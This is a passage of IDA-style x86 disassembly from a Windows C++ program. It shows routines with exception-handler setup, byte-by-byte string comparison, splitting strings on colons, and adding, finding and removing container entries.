arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413E70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014D3
mov ecx, ebp
call sub_401CE4
xor ebx, ebx
cmp eax, ebx
jnz loc_41405E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014D3
mov ecx, ebp
call sub_402130
mov edi, eax
cmp edi, ebx
jz loc_41405E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014D3
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_41405E
push offset byte_448F40
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413F57
lea ecx, [edi+2Ah]
call sub_4017EE
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017EE
loc_413F26: ; CODE XREF: sub_413E70+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413F4A
cmp cl, bl
jz short loc_413F46
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413F4A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F26
loc_413F46: ; CODE XREF: sub_413E70+C0j
xor eax, eax
jmp short loc_413F4F
; ---------------------------------------------------------------------------
loc_413F4A: ; CODE XREF: sub_413E70+BCj
; sub_413E70+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413F4F: ; CODE XREF: sub_413E70+D8j
cmp eax, ebx
jnz loc_41405E
loc_413F57: ; CODE XREF: sub_413E70+A1j
push offset byte_448F40
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413FB3
lea ecx, [edi+3Fh]
call sub_4017EE
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017EE
loc_413F82: ; CODE XREF: sub_413E70+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413FA6
cmp cl, bl
jz short loc_413FA2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413FA6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F82
loc_413FA2: ; CODE XREF: sub_413E70+11Cj
xor eax, eax
jmp short loc_413FAB
; ---------------------------------------------------------------------------
loc_413FA6: ; CODE XREF: sub_413E70+118j
; sub_413E70+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413FAB: ; CODE XREF: sub_413E70+134j
cmp eax, ebx
jnz loc_41405E
loc_413FB3: ; CODE XREF: sub_413E70+FAj
push 58h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413FD3
mov ecx, eax
call sub_401D1B
jmp short loc_413FD5
; ---------------------------------------------------------------------------
loc_413FD3: ; CODE XREF: sub_413E70+158j
xor eax, eax
loc_413FD5: ; CODE XREF: sub_413E70+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40202C
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40202C
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401410
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4140AB
; ---------------------------------------------------------------------------
loc_41405E: ; CODE XREF: sub_413E70+44j
; sub_413E70+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4140AB: ; CODE XREF: sub_413E70+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413E70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414160 proc near ; CODE XREF: sub_401D1Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414160
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4141F0: ; CODE XREF: ___:00401DD9j
push 0FFFFFFFFh
push offset loc_43AF10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401870
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_4018AC
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4142E0 proc near ; CODE XREF: sub_401541j
add ecx, 6Ch
jmp sub_401C76
sub_4142E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414300 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414300
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_437AEA
sub_414300 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414343
mov ecx, eax
call sub_401BF4
; ---------------------------------------------------------------------------
jmp short loc_414345
; ---------------------------------------------------------------------------
loc_414343: ; CODE XREF: ___:00414338j
xor eax, eax
loc_414345: ; CODE XREF: ___:00414341j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40202C
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40202C
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40202C
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40202C
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401F0F
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414430 proc near ; CODE XREF: sub_401BF4j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_40142E
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414430 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4144D0: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_43AFD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4145A0 proc near ; CODE XREF: sub_401DC0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4145A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E38
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jz short loc_414650
loc_414605: ; CODE XREF: sub_4145A0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_41462D
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41462D: ; CODE XREF: sub_4145A0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020C2
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jnz short loc_414605
loc_414650: ; CODE XREF: sub_4145A0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_414698
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_414673
push 1
call sub_4019EC
loc_414673: ; CODE XREF: sub_4145A0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_414698: ; CODE XREF: sub_4145A0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4145A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414710 proc near ; CODE XREF: sub_4019ECj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402243
test [esp+4+arg_0], 1
jz short loc_414728
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414728: ; CODE XREF: sub_414710+Dj
mov eax, esi
pop esi
retn 4
sub_414710 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414740 proc near ; CODE XREF: sub_402243j
jmp sub_401226
sub_414740 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414760: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_43B020
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_444C74 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414829
loc_4147C3: ; CODE XREF: ___:00414827j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_444C74 ; ":"
push esi
push edx
call sub_4016B8
mov ecx, ebp
call sub_401DC0
cmp al, bl
jnz short loc_4147F0
mov [esp+13h], bl
loc_4147F0: ; CODE XREF: ___:004147EAj
inc esi
push offset asc_444C74 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4147C3
loc_414829: ; CODE XREF: ___:004147C1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4148A0 proc near ; CODE XREF: sub_40212Bj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4148A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017EE
test eax, eax
jz loc_4149D4
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402275
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_41497E
loc_414914: ; CODE XREF: sub_4148A0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B86
test eax, eax
jz short loc_41494C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
jnz short loc_41495B
loc_41494C: ; CODE XREF: sub_4148A0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41495B: ; CODE XREF: sub_4148A0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414914
loc_41497E: ; CODE XREF: sub_4148A0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_4149D4
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_40214E
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4149A1
push 1
call sub_401708
loc_4149A1: ; CODE XREF: sub_4148A0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_4149D4: ; CODE XREF: sub_4148A0+2Ej
; sub_4148A0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4148A0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A70 proc near ; CODE XREF: sub_401708j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_414A88
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414A88: ; CODE XREF: sub_414A70+Dj
mov eax, esi
pop esi
retn 4
sub_414A70 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414AA0 proc near ; CODE XREF: sub_401A6Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414AA0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414B30: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_43B098
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40212B
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414BC0: ; CODE XREF: ___:00401B45j
push 0FFFFFFFFh
push offset loc_43B0B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017EE
test eax, eax
jz loc_414CC7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401992
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jz short loc_414C7F
loc_414C34: ; CODE XREF: ___:00414C7Dj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_414C5C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414C5C: ; CODE XREF: ___:00414C4Bj
lea ecx, [esp+4]
call sub_4018C5
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jnz short loc_414C34
loc_414C7F: ; CODE XREF: ___:00414C32j
mov eax, [esp+8]
test eax, eax
jz short loc_414CC7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414CA2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414CA2: ; CODE XREF: ___:00414C99j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414CC7: ; CODE XREF: ___:00414BEEj
; ___:00414C85j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D40 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B59
sub_414D40 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414D58
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414D58: ; CODE XREF: ___:00414D4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D70 proc near ; CODE XREF: sub_401B59j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414D70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401582
sub_414D70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E10 proc near ; CODE XREF: sub_4014C9j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414E10
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F0B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014D3
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_448F40
call sub_401870
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC6E
mov [esp+88h+var_4], ebx
call sub_40212B
test al, al
jz loc_415040
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019C4
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F0B: ; CODE XREF: sub_414E10+36j
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_415040
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014D3
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014D3
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014D3
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_444600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_444600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC6E
mov [esp+0D0h+var_4], ebx
call sub_4018AC
test al, al
jz short loc_415040
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019C4
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_415040: ; CODE XREF: sub_414E10+82j
; sub_414E10+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414E10 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415100 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401ED8
sub_415100 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415140 proc near ; CODE XREF: sub_401726j
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
